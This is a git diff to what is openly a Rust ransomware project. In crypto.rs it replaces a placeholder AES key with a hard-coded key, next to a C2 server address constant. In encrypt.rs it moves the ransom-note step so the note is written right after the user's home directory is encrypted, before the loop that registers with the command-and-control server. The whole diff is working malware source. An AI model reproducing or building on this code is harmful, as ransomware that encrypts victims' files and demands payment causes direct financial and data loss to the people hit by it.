diff --git a/src/crypto.rs b/src/crypto.rs
index 5bc86d7..240209c 100644
--- a/src/crypto.rs
+++ b/src/crypto.rs
@@ -18,7 +18,7 @@ use reqwest::blocking::Request;
 
 type Aes256Cbc = Cbc<Aes256, Pkcs7>;
 
-const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder";
+const KEY: &[u8] = b"kYmfk8pkMkgR9nj3EQ4x0JuJn6Qwq0cQ";
 const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
 const C2ADDR: &str = "c2serveraddr";
                                 
diff --git a/src/encrypt.rs b/src/encrypt.rs
index d3ae8c8..9f03bc1 100644
--- a/src/encrypt.rs
+++ b/src/encrypt.rs
@@ -23,6 +23,12 @@ fn main() -> std::io::Result<()> {
     encrypt_directory(&home).unwrap(); // I know this many unwraps look
                                        // suspicious, but the chance of this
                                        // failing is less than a solar flare.
+    // Write ransom note to desktop
+    let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
+                                                      // the user's HOME
+    ransomnote.write_all(NOTE.as_bytes())?;
+    ransomnote.flush()?;
+
 
     loop {
         let registration_attempt = register();
@@ -33,11 +39,5 @@ fn main() -> std::io::Result<()> {
         }
     }
 
-    // Write ransom note to desktop
-    let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
-                                                      // the user's HOME
-    ransomnote.write_all(NOTE.as_bytes())?;
-    ransomnote.flush()?;
-
     Ok(())
 }